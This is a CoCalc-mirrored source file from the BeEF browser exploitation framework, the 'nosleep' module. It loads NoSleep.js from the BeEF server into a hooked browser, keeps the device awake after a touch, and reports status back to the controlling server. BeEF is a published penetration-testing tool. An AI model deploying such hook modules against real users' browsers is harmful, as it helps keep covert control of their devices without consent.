Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/nosleep/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
enableNoSleep = function() {
10
var noSleep = new NoSleep();
11
noSleep.enable();
12
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=NoSleep initiated');
13
document.removeEventListener('touchstart', enableNoSleep, false);
14
}
15
16
init = function() {
17
document.addEventListener('touchstart', enableNoSleep, false);
18
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=waiting for user input');
19
}
20
21
if (typeof NoSleep == "undefined") {
22
var script = document.createElement('script');
23
script.type = 'text/javascript';
24
script.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/NoSleep.js';
25
$j("body").append(script);
26
setTimeout(init(), 5000);
27
}
28
29
});
30
31
32